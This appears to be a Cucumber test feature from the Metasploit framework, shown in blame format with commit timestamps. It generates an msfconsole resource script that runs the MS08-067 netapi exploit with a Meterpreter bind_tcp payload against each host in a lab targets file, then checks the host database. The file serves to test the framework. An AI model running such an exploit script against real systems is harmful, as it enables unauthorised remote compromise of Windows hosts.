2016-02-25 18:41:40 +00:00
|
|
|
@targets @db
|
2014-08-13 21:54:29 +00:00
|
|
|
Feature: MS08-067 netapi
|
2014-08-19 20:06:47 +00:00
|
|
|
|
2014-09-02 23:57:55 +00:00
|
|
|
Background:
|
2014-09-11 21:51:49 +00:00
|
|
|
Given a directory named "home"
|
|
|
|
And I cd to "home"
|
|
|
|
And a mocked home directory
|
2014-10-29 18:21:31 +00:00
|
|
|
|
2015-12-30 20:57:41 +00:00
|
|
|
Scenario: The MS08-067 should get a session with bind_tcp
|
|
|
|
Given I ready the windows targets
|
2016-02-04 19:37:36 +00:00
|
|
|
Given a file named "ms08-067-bind.rc" with:
|
2014-09-11 21:51:49 +00:00
|
|
|
"""
|
2015-12-30 20:57:41 +00:00
|
|
|
<ruby>
|
|
|
|
hosts = YAML.load File.open Rails.root.join('features', 'support', 'targets.yml')
|
|
|
|
self.run_single('use exploit/windows/smb/ms08_067_netapi')
|
|
|
|
self.run_single('set payload windows/meterpreter/bind_tcp')
|
2016-02-25 18:41:40 +00:00
|
|
|
hosts.each do |host|
|
2016-02-04 19:37:36 +00:00
|
|
|
self.run_single("set RHOST #{host['ipAddress']}")
|
2016-02-25 18:41:40 +00:00
|
|
|
self.run_single('run -j')
|
2015-12-30 20:57:41 +00:00
|
|
|
sleep 1
|
|
|
|
end
|
2016-02-25 18:41:40 +00:00
|
|
|
self.run_single('sessions -K')
|
2015-12-30 20:57:41 +00:00
|
|
|
</ruby>
|
2014-09-11 21:51:49 +00:00
|
|
|
"""
|
2016-02-04 19:37:36 +00:00
|
|
|
When I run `msfconsole --environment test -q -r ms08-067-bind.rc -x exit`
|
2016-02-25 19:26:11 +00:00
|
|
|
Then the 'Mdm::Host' table contains the expected targets
|
2016-02-04 19:37:36 +00:00
|
|
|
|